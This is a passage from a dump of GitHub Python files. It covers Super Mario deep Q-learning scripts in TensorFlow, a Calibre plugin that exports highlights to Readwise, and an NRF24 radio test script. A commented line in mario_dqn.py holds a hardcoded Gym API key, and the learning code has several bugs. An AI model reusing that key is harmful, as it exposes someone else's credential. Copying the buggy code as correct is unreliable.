https://storage.googleapis.com/deepmind-data/assets/papers/DeepMindNature14236Paper.pdf\n with tf.variable_scope(scope, reuse=reuse):\n _P = tf.placeholder(tf.float32, [None, 2, 6, 5], name=\"input_p\")\n out = img_in\n# with tf.variable_scope(\"convnet\"):\n# # original architecture\n# out = layers.convolution2d(out, num_outputs=32, kernel_size=8, stride=4, activation_fn=tf.nn.relu)\n# out = layers.convolution2d(out, num_outputs=64, kernel_size=4, stride=2, activation_fn=tf.nn.relu)\n# out = layers.convolution2d(out, num_outputs=64, kernel_size=3, stride=1, activation_fn=tf.nn.relu)\n# out = layers.flatten(out)\n# with tf.variable_scope(\"action_value\"):\n# out = layers.fully_connected(out, num_outputs=512, activation_fn=tf.nn.relu)\n# out = layers.fully_connected(out, num_outputs=256, activation_fn=tf.nn.relu)\n# out = layers.fully_connected(out, num_outputs=num_actions, activation_fn=None)\n with tf.name_scope(\"VGG_Layer1\"):\n VGG_Layer1_1 = tf.layers.conv2d(out, filters=int(64), kernel_size=[3, 3],\n padding='VALID', use_bias=False, name='VGG_Layer1_conv1')\n VGG_Layer1_1 = tf.nn.relu(VGG_Layer1_1)\n VGG_Layer1_2 = tf.layers.conv2d(VGG_Layer1_1, filters=int(64), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer1_conv2')\n VGG_Layer1_2 = tf.nn.relu(VGG_Layer1_2)\n # shape (B, h, w, 64)->(B, h/2, w/2, 64)\n with tf.name_scope(\"VGG_Layer2\"):\n ########################################################################################################\n VGG_Layer2_1 = tf.layers.conv2d(VGG_Layer1_2, filters=int(128), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer2_conv1')\n VGG_Layer2_1 = tf.nn.relu(VGG_Layer2_1) # shape (B, h/2, w/2, 64)->(B, h/2, w/2, 128)\n ########################################################################################################\n VGG_Layer2_2 = tf.layers.conv2d(VGG_Layer2_1, filters=int(128), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer2_conv2')\n VGG_Layer2_2 = tf.nn.relu(VGG_Layer2_2) # shape (B, h/2, w/2, 128)->(B, h/4, w/4, 128)\n ########################################################################################################\n \n with tf.name_scope(\"VGG_Layer3\"):\n ########################################################################################################\n VGG_Layer3_1 = tf.layers.conv2d(VGG_Layer2_2, filters=int(256), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer3_conv1')\n VGG_Layer3_1 = tf.nn.relu(VGG_Layer3_1) # shape (B, h/4, w/4, 128)->(B, h/4, w/4, 256)\n ########################################################################################################\n VGG_Layer3_2 = tf.layers.conv2d(VGG_Layer3_1, filters=int(256), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer3_conv2')\n VGG_Layer3_2 = tf.nn.relu(VGG_Layer3_2) # shape (B, h/4, w/4, 256)->(B, h/4, w/4, 256)\n ########################################################################################################\n VGG_Layer3_3 = tf.layers.conv2d(VGG_Layer3_2, filters=int(256), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer3_conv3')\n VGG_Layer3_3 = tf.nn.relu(VGG_Layer3_3) # shape (B, h/4, w/4, 256)->(B, h/8, w/8, 256)\n ########################################################################################################\n ########################################################################################################\n with tf.name_scope(\"VGG_Layer4\"):\n ########################################################################################################\n VGG_Layer4_1 = tf.layers.conv2d(VGG_Layer3_3, filters=int(512), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer4_conv1')\n VGG_Layer4_1 = tf.nn.relu(VGG_Layer4_1) # shape (B, h/8, w/8, 256)->(B, h/8, w/8, 512)\n ########################################################################################################\n VGG_Layer4_2 = tf.layers.conv2d(VGG_Layer4_1, filters=int(512), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer4_conv2')\n VGG_Layer4_2 = tf.nn.relu(VGG_Layer4_2) # shape (B, h/8, w/8, 512)->(B, h/8, w/8, 512)\n ########################################################################################################\n VGG_Layer4_3 = tf.layers.conv2d(VGG_Layer4_2, filters=int(512), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer4_conv3')\n VGG_Layer4_3 = tf.nn.relu(VGG_Layer4_3) # shape (B, h/8, w/8, 512)->(B, h/16, w/16, 512)\n ########################################################################################################\n ########################################################################################################\n with tf.name_scope(\"VGG_Layer5\"):\n ########################################################################################################\n VGG_Layer5_1 = tf.layers.conv2d(VGG_Layer4_3, filters=int(512), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer5_conv1')\n VGG_Layer5_1 = tf.nn.relu(VGG_Layer5_1) # shape (B, h/16, w/16, 512)->(B, h/16, w/16, 512)\n ########################################################################################################\n VGG_Layer5_2 = tf.layers.conv2d(VGG_Layer5_1, filters=int(512), kernel_size=[3, 3],padding='VALID', use_bias=False, name='VGG_Layer5_conv2')\n VGG_Layer5_2 = tf.nn.relu(VGG_Layer5_2) # shape (B, h/16, w/16, 512)->(B, h/16, w/16, 512)\n ########################################################################################################\n VGG_Layer5_3 = tf.layers.conv2d(VGG_Layer5_2, filters=int(512), kernel_size=[3, 3], strides=[2, 2],padding='VALID', use_bias=False, name='VGG_Layer5_conv3')\n VGG_Layer5_3 = tf.nn.relu(VGG_Layer5_3) # shape (B, h/16, w/16, 512)->(B, h/32, w/32, 512)\n ########################################################################################################\n ########################################################################################################\n with tf.name_scope(\"VGG_Qpred\"):\n VGG_Layer6_1 = tf.layers.conv2d(VGG_Layer5_3, filters=100, kernel_size=[2, 3], strides=[1, 1], padding='VALID')\n VGG_Layer6_1 = tf.nn.relu(VGG_Layer6_1)\n VGG_Layer6_1 = tf.contrib.layers.flatten(VGG_Layer6_1)\n JOYSTICK_Layer = tf.contrib.layers.flatten(_P)\n VGG_Layer6_2 = tf.concat([VGG_Layer6_1, JOYSTICK_Layer], axis=1)\n VGG_Layer6_2 = tf.layers.dense(VGG_Layer6_2, units=100, use_bias=False)\n VGG_Layer6_2 = tf.nn.relu(VGG_Layer6_2)\n VGG_Layer6_3 = tf.layers.dense(VGG_Layer6_2, units=50, use_bias=False)\n VGG_Layer6_3 = tf.nn.relu(VGG_Layer6_3)\n out = tf.layers.dense(VGG_Layer6_3, units=num_actions, use_bias=False)\n return out\n\n\ndef atari_learn(env,\n session,\n num_timesteps):\n # This is just a rough estimate\n num_iterations = float(num_timesteps) / 4.0\n\n lr_multiplier = 1.0\n lr_schedule = PiecewiseSchedule([(0, 1e-2 * lr_multiplier), (num_iterations / 10, 1e-2 * lr_multiplier), (num_iterations / 2, 5e-3 * lr_multiplier), ], outside_value=5e-5 * lr_multiplier)\n\n optimizer = dqn.OptimizerSpec(constructor=tf.train.AdamOptimizer, kwargs=dict(epsilon=1e-4),lr_schedule=lr_schedule)\n\n\n def stopping_criterion(env, t):\n # notice that here t is the number of steps of the wrapped env,\n # which is different from the number of steps in the underlying env\n return get_wrapper_by_name(env, \"Monitor\").get_total_steps() >= num_timesteps\n\n exploration_schedule = PiecewiseSchedule(\n [\n (0, 1.0),\n (1000, 0.1),\n (num_iterations , 0.01),\n ], outside_value=0.01\n )\n\n dqn.learn(\n env,\n q_func=atari_model,\n optimizer_spec=optimizer,\n session=session,\n exploration=exploration_schedule,\n stopping_criterion=stopping_criterion,\n replay_buffer_size=50000,\n batch_size=32,\n gamma=0.99,\n learning_starts=33,\n learning_freq=64,\n frame_history_len=4,\n target_update_freq=5000,\n grad_norm_clipping=10\n )\n env.close()\n\n\ndef get_available_gpus():\n from tensorflow.python.client import device_lib\n local_device_protos = device_lib.list_local_devices()\n return [x.physical_device_desc for x in local_device_protos if x.device_type == 'GPU']\n\n\ndef set_global_seeds(i):\n try:\n import tensorflow as tf\n except ImportError:\n pass\n else:\n tf.set_random_seed(i) \n np.random.seed(i)\n random.seed(i)\n\n\ndef get_session():\n tf.reset_default_graph()\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=0.4)\n tf_config = tf.ConfigProto(inter_op_parallelism_threads=1,intra_op_parallelism_threads=1,gpu_options=gpu_options)\n session = tf.Session(config=tf_config)\n print(\"AVAILABLE GPUS: \", get_available_gpus());\n return session\n\n\ndef get_env(task, seed):\n env_id = task.env_id\n\n env = gym.make(env_id)\n\n set_global_seeds(seed)\n env.seed(seed)\n\n expt_dir = '/tmp/hw3_vid_dir2/'\n print( \" path \" , expt_dir)\n env = wrappers.Monitor(env, osp.join(expt_dir, \"gym\"), force=True)\n env = wrap_deepmind(env)\n\n return env\n\n\ndef main():\n # Get Atari games.\n# benchmark = gym.benchmark_spec('Atari40M')\n#\n# # Change the index to select a different game.\n# task = benchmark.tasks[3]\n\n # Run training\n seed = 0 # Use a seed of zero (you may want to randomize the seed!)\n env = gym.make('ppaquette/SuperMarioBros-1-1-v0')\n env.seed(seed)\n \n \n session = get_session()\n atari_learn(env, session, num_timesteps=5000)\n\n\nif __name__ == \"__main__\":\n main()\n" }, { "alpha_fraction": 0.5017076730728149, "alphanum_fraction": 0.53125, "avg_line_length": 31.882022857666016, "blob_id": "ac9d716b35187ab88f7e59de53ed5e09169291c8", "content_id": "05c4fb1fba80eba01f49f0bc4db3e1ed191edeee", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11712, "license_type": "no_license", "max_line_length": 232, "num_lines": 356, "path": "/mario_dqn.py", "repo_name": "leeyonghwan/mario", "src_encoding": "UTF-8", "text": "# original DQN 2015 source from https://github.com/nalsil/kimhun_rl_windows/blob/master/07_3_dqn_2015_cartpole.py\n# The code is updated to play super mario by Jinman Chang\n# super mario game can be downloaded at https://github.com/ppaquette/gym-super-mario\n\n# ##### is marked where is updated\n# explanation for this code is at http://jinman190.blogspot.ca/2017/10/rl.html\n\n\n###############################################################################super mario initialized\nimport gym\nimport ppaquette_gym_super_mario\nimport dqn\n\n\nfrom gym.envs.registration import register\nfrom gym.scoreboard.registration import add_group\nfrom gym.scoreboard.registration import add_task\n\n\nregister(\n id='SuperMarioBros-1-1-v0',\n entry_point='gym.envs.ppaquette_gym_super_mario:MetaSuperMarioBrosEnv',\n)\n\nadd_group(\n id='ppaquette_gym_super_mario',\n name='ppaquette_gym_super_mario',\n description='super_mario'\n)\n\nadd_task(\n id='SuperMarioBros-1-1-v0',\n group='ppaquette_gym_super_mario',\n summary=\"SuperMarioBros-1-1-v0\"\n)\n#################################################################################\n\n\n\n\nimport numpy as np\nimport tensorflow as tf\nimport random\nfrom collections import deque\n\nfrom gym import wrappers\nimport tensorflow.contrib.layers as layers\n\nenv = gym.make('ppaquette/SuperMarioBros-1-1-v0') #####update game title\n\nframe_history_len=4\n# Constants defining our neural network\n#input_size = env.observation_space.shape[0]*env.observation_space.shape[1]*3 #####change input_size - 224*256*3 acquired from ppaquette_gym_super_mario/nes_env.py\nimg_h, img_w, img_c = env.observation_space.shape\ninput_size = (img_h, img_w, frame_history_len * img_c)\n# set up placeholders\n# placeholder for current observation (or state)\n#obs_t_ph = tf.placeholder(tf.uint8, [None] + list(input_shape))\noutput_size = 6 #####meaning of output can be found at ppaquette_gym_super_mario/wrappers/action_space.py\n\n_skip = 4\ndis = 0.9\nREPLAY_MEMORY = 50000\n\na_0 = [0, 0, 0, 0, 0, 0] # NOOP\\n\",\na_1 = [1, 0, 0, 0, 0, 0] #Up\\n\",\na_2 = [0, 0, 1, 0, 0, 0] # Down\\n\",\na_3 = [0, 1, 0, 0, 0, 0] # Left\\n\"\na_4 = [0, 1, 0, 0, 1, 0] # Left + A\\n\",\na_5 = [0, 1, 0, 0, 0, 1] # Left + B\\n\",\na_6 = [0, 1, 0, 0, 1, 1] # Left + A + B\\n\",\na_7 = [0, 0, 0, 1, 0, 0] # Right\\n\",\na_8 = [0, 0, 0, 1, 1, 0] # Right + A\\n\",\na_9 = [0, 0, 0, 1, 0, 1] # Right + A + B\\n\",\na_10 = [0, 0, 0, 1, 1, 1] #Right + A + B\\n\",\na_11 = [0, 0, 0, 0, 1, 0]\na_12 = [0, 0, 0, 0, 0, 1]\na_13 = [0, 0, 0, 0, 1, 1]\n\ndef encode_action_rand():\n action = random.randrange(0,14)\n if action == 0:\n return a_0\n if action == 1:\n return a_1\n if action == 2:\n return a_2\n if action == 3:\n return a_3\n if action == 4:\n return a_4\n if action == 5:\n return a_5\n if action == 6:\n return a_6\n if action == 7:\n return a_7\n if action == 8:\n return a_8\n if action == 9:\n return a_9\n if action == 10:\n return a_10\n if action == 11:\n return a_11\n if action == 12:\n return a_12\n if action == 13:\n return a_13\n\ndef encode_action( action):\n if action == 0:\n return a_0\n if action == 1:\n return a_1\n if action == 2:\n return a_2\n if action == 3:\n return a_3\n if action == 4:\n return a_4\n if action == 5:\n return a_5\n if action == 6:\n return a_6\n if action == 7:\n return a_7\n if action == 8:\n return a_8\n if action == 9:\n return a_9\n if action == 10:\n return a_10\n if action == 11:\n return a_11\n if action == 12:\n return a_12\n if action == 13:\n return a_13\n\ndef decode_action( input):\n if a_0 == input:\n return 0\n if a_1 == input:\n return 1\n if a_2 == input:\n return 2\n if a_3 == input:\n return 3\n if a_4 == input:\n return 4\n if a_5 == input:\n return 5\n if a_6 == input:\n return 6\n if a_7 == input:\n return 7\n if a_8 == input:\n return 8\n if a_9 == input:\n return 9\n if a_10 == input:\n return 10\n if a_11 == input:\n return 11\n if a_12 == input:\n return 12\n if a_13 == input:\n return 13\n\ndef replay_train(mainDQN, targetDQN, train_batch):\n x_stack = np.empty(0).reshape(0, input_size)\n y_stack = np.empty(0).reshape(0, output_size)\n\n # Get stored information from the buffer\n for state, action, reward, next_state, done in train_batch:\n Q = mainDQN.predic(state, action)\n\n # terminal?\n if done:\n Q[0, action] = reward\n else:\n # get target from target DQN (Q')\n Q[0, action] = reward + dis * np.max(targetDQN.predict(next_state, action))\n\n y_stack = np.vstack([y_stack, Q])\n x_stack = np.vstack( [x_stack, state])\n\n # Train our network using target and predicted Q values on each episode\n return mainDQN.update(x_stack, y_stack)\n\ndef ddqn_replay_train(mainDQN, targetDQN, train_batch):\n '''\n Double DQN implementation\n :param mainDQN: main DQN\n :param targetDQN: target DQN\n :param train_batch: minibatch for train\n :return: loss\n '''\n x_stack = np.empty(0).reshape(0, mainDQN.input_size)\n y_stack = np.empty(0).reshape(0, mainDQN.output_size)\n\n # Get stored information from the buffer\n for state, action, reward, next_state, done in train_batch:\n if state is None: #####why does this happen?\n print(\"None State, \", action, \" , \", reward, \" , \", next_state, \" , \", done)\n else:\n Q = mainDQN.predict(state, action)\n\n # terminal?\n if done:\n Q[0, action] = reward\n else:\n # Double DQN: y = r + gamma * targetDQN(s')[a] where\n # a = argmax(mainDQN(s'))\n # Q[0, action] = reward + dis * targetDQN.predict(next_state)[0, np.argmax(mainDQN.predict(next_state))]\n Q[0, action] = reward + dis * targetDQN.predict(next_state, action_next_seq)[0, np.argmax(mainDQN.predict(next_state, action_next_seq))] # np.max(targetDQN.predict(next_state, action_seq)) #####use normal one for now\n\n y_stack = np.vstack([y_stack, Q])\n x_stack = np.vstack([x_stack, state.reshape(-1, mainDQN.input_size)]) #####change shape to fit to super mario\n action_stack = np.vstack([action_stack, np.reshape(action, (-1, 60))])\n # Train our network using target and predicted Q values on each episode\n return mainDQN.update(x_stack, y_stack, action_stack)\n\ndef get_copy_var_ops(*, dest_scope_name=\"target\", src_scope_name=\"main\"):\n\n # Copy variables src_scope to dest_scope\n op_holder = []\n\n src_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=src_scope_name)\n dest_vars = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope=dest_scope_name)\n\n for src_var, dest_var in zip(src_vars, dest_vars):\n op_holder.append(dest_var.assign(src_var.value()))\n\n return op_holder\n\ndef bot_play(mainDQN, env=env):\n # See our trained network in action\n state = env.reset()\n reward_sum = 0\n while True:\n env.render()\n action = np.argmax(mainDQN.predict(state))\n state, reward, done, _ = env.step(action)\n reward_sum += reward\n if done:\n print(\"Total score: {}\".format(reward_sum))\n break\n\ndef _step(action):\n total_reward = 0.0\n done = None\n _obs_buffer = deque(maxlen=2)\n for _ in range(_skip):\n obs, reward, done, info = env.step(action)\n _obs_buffer.append(obs)\n total_reward += reward\n if done:\n break\n\n max_frame = np.max(np.stack(_obs_buffer), axis=0)\n return max_frame, total_reward, done, info\n\n\ndef main():\n max_episodes = 5000\n # store the previous observations in replay memory\n replay_buffer = deque()\n # saver = tf.train.Saver()\n \n max_distance = 0\n with tf.Session() as sess:\n mainDQN = dqn.DQN(sess, input_size, output_size, name=\"main\")\n targetDQN = dqn.DQN(sess, input_size, output_size, name=\"target\")\n tf.global_variables_initializer().run()\n\n print(\" input \", input_size[2])\n #initial copy q_net -> target_net\n copy_ops = get_copy_var_ops(dest_scope_name=\"target\", src_scope_name=\"main\")\n sess.run(copy_ops)\n\n for episode in range(max_episodes):\n e = 1. / ((episode / 20) + 1)\n done = False\n step_count = 0\n state = env.reset()\n\n while not done:\n if np.random.rand(1) < e or state is None or state.size == 1: #####why does this happen?\n output = encode_action_rand()#env.action_space.sample()\n action = output\n else:\n # Choose an action by greedily from the Q-network\n #action = np.argmax(mainDQN.predict(state))\n output = mainDQN.predict(state, action) #####flatten it and change it as a list .flatten().tolist()\n# for i in range(len(output)): #####the action list has to have only integer 1 or 0\n# if action[i] > 0.5 :\n# action[i] = 1 #####integer 1 only, no 1.0\n# else:\n# action[i] = 0 #####integer 0 only, no 0.0\n\n# next_action = OutputToAction3(output)\n# print(\"random action:\", output)\n next_action = output\n\n # Get new state and reward from environment\n next_state, reward, done, info = _step(next_action)\n \n #print(\"Episode: {} \".format(next_state));\n \n if info['distance'] > max_distance:\n max_distance = info['distance']\n \n if done: # Penalty\n reward = -100\n print(\"distance \", max_distance, \" current distance \",info['distance'] )\n\n # Save the experience to our buffer\n replay_buffer.append((state, action, next_action, reward, next_state, done))\n if len(replay_buffer) > REPLAY_MEMORY:\n replay_buffer.popleft()\n\n state = next_state\n action = next_action;\n step_count += 1\n if step_count > 10000: # Good enough. Let's move on\n break\n\n if step_count > 10000:\n pass\n # break\n\n if episode % 10 == 1: # train every 10 episode\n # Get a random batch of experiences\n for _ in range(50):\n minibatch = random.sample(replay_buffer, 10)\n loss, _ = ddqn_replay_train(mainDQN, targetDQN, minibatch)\n\n print(\"Loss: \", loss)\n # copy q_net -> target_net\n sess.run(copy_ops)\n\n # See our trained bot in action\n env2 = wrappers.Monitor(env, 'gym-results', force=True)\n \n #save_path = saver.save(sess, \"./mario_model_1\")\n \n for i in range(200):\n bot_play(mainDQN, env=env2)\n\n env2.close()\n # gym.upload(\"gym-results\", api_key=\"sk_VT2wPcSSOylnlPORltmQ\")\n\nif __name__ == \"__main__\":\n main()\n\n\n\n\n\n\n" } ]
3
outrera/calibre-plugin-readwise
https://github.com/outrera/calibre-plugin-readwise
81b01341840319043b53d520e4605cb20030f86c
d2f421380feaa4826d73393fbf4e82c7d57e306a
4e4ae3636a80e47baec8980505a1253bb36095c4
refs/heads/main
2023-03-04T14:54:51.541215
2021-02-15T01:09:28
2021-02-15T01:09:28
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.703832745552063, "alphanum_fraction": 0.7049942016601562, "avg_line_length": 33.439998626708984, "blob_id": "88d772bc275db325953d7dd6d0745a11067c0065", "content_id": "63a6a08e26a702919a7dba60297d579ffa0e01b6", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 861, "license_type": "permissive", "max_line_length": 108, "num_lines": 25, "path": "/src/config.py", "repo_name": "outrera/calibre-plugin-readwise", "src_encoding": "UTF-8", "text": "from calibre.utils.config import JSONConfig\nfrom PyQt5.Qt import QWidget, QHBoxLayout, QLabel, QLineEdit\n\nprefs = JSONConfig('plugins/readwise')\nprefs.defaults['access_token'] = ''\n\nclass ConfigWidget(QWidget):\n def __init__(self):\n QWidget.__init__(self)\n self.l = QHBoxLayout()\n self.setLayout(self.l)\n\n self.label = QLabel('Access &token:')\n self.l.addWidget(self.label)\n self.at = QLineEdit(self)\n self.at.setEchoMode(QLineEdit.Password)\n self.at.setText(prefs['access_token'])\n self.l.addWidget(self.at)\n self.label.setBuddy(self.at)\n self.access_token_link_label = QLabel('<a href=\"https://readwise.io/access_token\">Get access token</a>')\n self.access_token_link_label.setOpenExternalLinks(True)\n self.l.addWidget(self.access_token_link_label)\n\n def save_settings(self):\n prefs['access_token'] = self.at.text()\n" }, { "alpha_fraction": 0.6499845385551453, "alphanum_fraction": 0.6530738472938538, "avg_line_length": 31.04950523376465, "blob_id": "bc0ca3c727159f44b825163c149985cf946bf475", "content_id": "2e63d60c68f253b6df558d4a0eabf38788ff0f1b", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3237, "license_type": "permissive", "max_line_length": 140, "num_lines": 101, "path": "/src/main.py", "repo_name": "outrera/calibre-plugin-readwise", "src_encoding": "UTF-8", "text": "from calibre_plugins.readwise.config import prefs\nfrom PyQt5.Qt import QDialog, QVBoxLayout, QLabel, QPushButton, QMessageBox\nimport urllib.request\nimport json\n\nclass ReadwiseDialog(QDialog):\n def __init__(self, gui, icon, do_user_config):\n QDialog.__init__(self, gui)\n self.gui = gui\n self.do_user_config = do_user_config\n\n self.db = gui.current_db\n\n self.l = QVBoxLayout()\n self.setLayout(self.l)\n\n self.setWindowTitle('Readwise')\n self.setWindowIcon(icon)\n\n self.about_button = QPushButton('&About', self)\n self.about_button.clicked.connect(self.about)\n self.l.addWidget(self.about_button)\n\n self.sync_button = QPushButton(\n '&Export to Readwise', self)\n self.sync_button.clicked.connect(self.sync)\n self.l.addWidget(self.sync_button)\n\n self.conf_button = QPushButton(\n '&Configure this plugin', self)\n self.conf_button.clicked.connect(self.config)\n self.l.addWidget(self.conf_button)\n\n self.resize(self.sizeHint())\n self.update_button_state()\n\n def about(self):\n text = get_resources('about.txt')\n QMessageBox.about(self, 'About the Readwise plugin',\n text.decode('utf-8'))\n\n def sync(self):\n db = self.db.new_api\n\n books = {}\n for annotation in db.all_annotations(None, None, 'highlight', True, None):\n books.setdefault(annotation['book_id'], []).append(annotation)\n\n if len(books) == 0:\n QMessageBox.information(self, \"Readwise\", \"There are no highlights to export.\")\n return\n\n body = {\n 'highlights': []\n }\n for book_id, annotations in books.items():\n metadata = db.get_metadata(book_id)\n for annotation in annotations:\n highlight = {\n 'text': annotation['annotation']['highlighted_text'],\n 'title': metadata.title,\n 'author': metadata.authors[0],\n 'source_type': 'book',\n 'note': annotation['annotation'].get('notes', None),\n 'highlighted_at': annotation['annotation']['timestamp']\n }\n body['highlights'].append(highlight)\n\n headers = {\n 'Authorization': f\"Token {prefs['access_token']}\",\n 'Content-Type': 'application/json'\n }\n request = urllib.request.Request('https://readwise.io/api/v2/highlights/', json.dumps(body).encode('utf-8'), headers = headers)\n\n try:\n if self.gui:\n self.gui.status_bar.showMessage('Exporting to Readwise...')\n\n response = urllib.request.urlopen(request)\n QMessageBox.information(self, \"Readwise\", \"Export completed successfully.\")\n\n\n except urllib.error.HTTPError as e:\n if e.code == 401:\n QMessageBox.critical(self, \"Readwise\", \"Export failed due to incorrect access token. Please update the access token and try again.\")\n else:\n QMessageBox.critical(self, \"Readwise\", f\"Export failed with status code: {e.code}\")\n\n except urllib.error.URLError as e:\n QMessageBox.critical(self, \"Readwise\", f\"Export failed with reason: {e.reason}\")\n\n finally:\n if self.gui:\n self.gui.status_bar.clearMessage()\n\n def config(self):\n self.do_user_config(parent=self)\n self.update_button_state()\n\n def update_button_state(self):\n self.sync_button.setEnabled(len(prefs['access_token']) > 0)\n" }, { "alpha_fraction": 0.6997041702270508, "alphanum_fraction": 0.7085798978805542, "avg_line_length": 28.39130401611328, "blob_id": "be4cf0f2cab483f81d958a07ffecb43891806a58", "content_id": "fbeb67a8115f932eed9589cce53b16ad918df47a", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 676, "license_type": "permissive", "max_line_length": 63, "num_lines": 23, "path": "/src/__init__.py", "repo_name": "outrera/calibre-plugin-readwise", "src_encoding": "UTF-8", "text": "from calibre.customize import InterfaceActionBase\n\nclass ReadwisePlugin(InterfaceActionBase):\n name = 'Readwise'\n description = 'Export highlights to Readwise'\n supported_platforms = ['windows', 'osx', 'linux']\n author = 'William Bartholomew'\n version = (0, 1, 1)\n minimum_calibre_version = (5, 0, 1)\n actual_plugin = 'calibre_plugins.readwise.ui:InterfacePlugin'\n\n def is_customizable(self):\n return True\n\n def config_widget(self):\n from calibre_plugins.readwise.config import ConfigWidget\n return ConfigWidget()\n \n def save_settings(self, config_widget):\n config_widget.save_settings()\n ac = self.actual_plugin_\n if ac is not None:\n ac.apply_settings()\n" }, { "alpha_fraction": 0.7354196310043335, "alphanum_fraction": 0.7368420958518982, "avg_line_length": 32.47618865966797, "blob_id": "fc684323d37795d2060f4bdcd458a1d0b7789c14", "content_id": "76fc3c5d4bc4301f47c933437fd9a0b2e3b2348e", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 703, "license_type": "permissive", "max_line_length": 73, "num_lines": 21, "path": "/src/ui.py", "repo_name": "outrera/calibre-plugin-readwise", "src_encoding": "UTF-8", "text": "from calibre.gui2.actions import InterfaceAction\nfrom calibre_plugins.readwise.main import ReadwiseDialog\n\nclass InterfacePlugin(InterfaceAction):\n name = 'Readwise'\n action_spec = ('Readwise', None, 'Export highlights to Readwise', None)\n\n def genesis(self):\n icon = get_icons('images/icon.png')\n self.qaction.setIcon(icon)\n self.qaction.triggered.connect(self.show_dialog)\n\n def show_dialog(self):\n base_plugin_object = self.interface_action_base_plugin\n do_user_config = base_plugin_object.do_user_config\n d = ReadwiseDialog(self.gui, self.qaction.icon(), do_user_config)\n d.show()\n\n def apply_settings(self):\n from calibre_plugins.readwise.config import prefs\n prefs\n" }, { "alpha_fraction": 0.7046289443969727, "alphanum_fraction": 0.7516531944274902, "avg_line_length": 42.90322494506836, "blob_id": "7a5b1790cfd1b2c422bc745bc88d1f71a66d2cdf", "content_id": "49dd3445df9e3fca76089d2a44fd6b52d9de9801", "detected_licenses": [ "MIT", "LicenseRef-scancode-unknown-license-reference" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1361, "license_type": "permissive", "max_line_length": 199, "num_lines": 31, "path": "/README.md", "repo_name": "outrera/calibre-plugin-readwise", "src_encoding": "UTF-8", "text": "# Readwise Plugin for Calibre\n[Calibre](https://calibre-ebook.com/) plugin to export your highlights to [Readwise](https://readwise.io/). This plugin is **not** supported by Readwise - please report any issues in this repository.\n\n![957445CE-FDFC-4E4C-ADE2-EDE8EDD35A51](https://user-images.githubusercontent.com/3266447/107865551-7d952c80-6e1c-11eb-9ff3-3b8586defd68.GIF)\n\n## Requirements\n* [Calibre](https://calibre-ebook.com/) >= 5.0.1\n* [Readwise](https://readwise.io) account\n\n## Installation\n1. Install the Calibre plugin:\n 1. Download the [latest release](releases/latest).\n 1. Open Calibre.\n 1. Click Preferences and then Plugins.\n 1. Click Load Plugin From File and then select the release you downloaded above.\n1. Get a Readwise access token by going to https://readwise.io/access_token.\n1. Configure the plugin:\n 1. Click the Readwise icon on the main toolbar.\n 1. Click Configure This Plugin.\n 1. Paste the access token and click OK.\n\n## Usage\nHighlights are not exported to Readwise automatically, to trigger the export:\n\n1. Click the Readwise icon on the main toolbar.\n1. Click the Export to Readwise button.\n\nDeleted highlights will **not** be deleted from Readwise, if you want to remove them you need to do that within Readwise.\n\n## License\nMIT - see [LICENSE](LICENSE). Readwise logo used with permission - see [NOTICE](NOTICE).\n" } ]
5
avida/webguy
https://github.com/avida/webguy
9fc4babde1af08adc30b4973d3888f7350b1ea46
6ba1ec74c2c8700815c2a21579dbd60374a20a5f
7fa69991b57c013585478dc4d3c39e8c2e162e58
refs/heads/master
2020-12-10T08:49:00.804266
2020-01-27T15:14:10
2020-01-27T15:14:10
40,092,084
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5273053050041199, "alphanum_fraction": 0.5666965246200562, "avg_line_length": 20.689319610595703, "blob_id": "064235c9c97f636fbe25a58d2bec281afc208cff", "content_id": "0dcee1bab727b9afb25e6f1e6bee4268fa37fe8e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2234, "license_type": "no_license", "max_line_length": 56, "num_lines": 103, "path": "/spikes/test_nrf.py", "repo_name": "avida/webguy", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nfrom nrf24 import NRF24\nimport time\nfrom functools import reduce\nfrom threading import Thread\nimport struct\n\nradio = NRF24()\nradio.begin(0, 0, 17, 2)\nradio.setPayloadSize(8)\nradio.setChannel(0x2)\nradio.setCRCLength(NRF24.CRC_8)\nradio.setDataRate(NRF24.BR_2MBPS)\nradio.write_register(NRF24.RF_SETUP, 0xf)\nradio.write_register(NRF24.EN_RXADDR, 0x3)\n\nradio.openReadingPipe(0, [0xe7, 0xe7, 0xe7, 0xe7, 0xe7])\nradio.openWritingPipe([0xe7, 0xe7, 0xe7, 0xe7, 0xe7])\n\nradio.startListening()\n\nradio.printDetails()\n# exit(0)\n\npacket = 0\n\n\ndef nrfWrite():\n radio.retries = 1\n radio.stopListening()\n global packet\n while(True):\n if radio.write(\"2\" * 8):\n packet += 1\n else:\n print(\"failed\")\n print(radio.get_status())\n time.sleep(.001)\n\n\ndef nrfRead():\n global packet\n while(True):\n while not radio.available([0], False):\n time.sleep(0.01)\n \"\"\"\n radio.available([0], True)\n \"\"\"\n recv_buff = []\n radio.read(recv_buff)\n pkt = 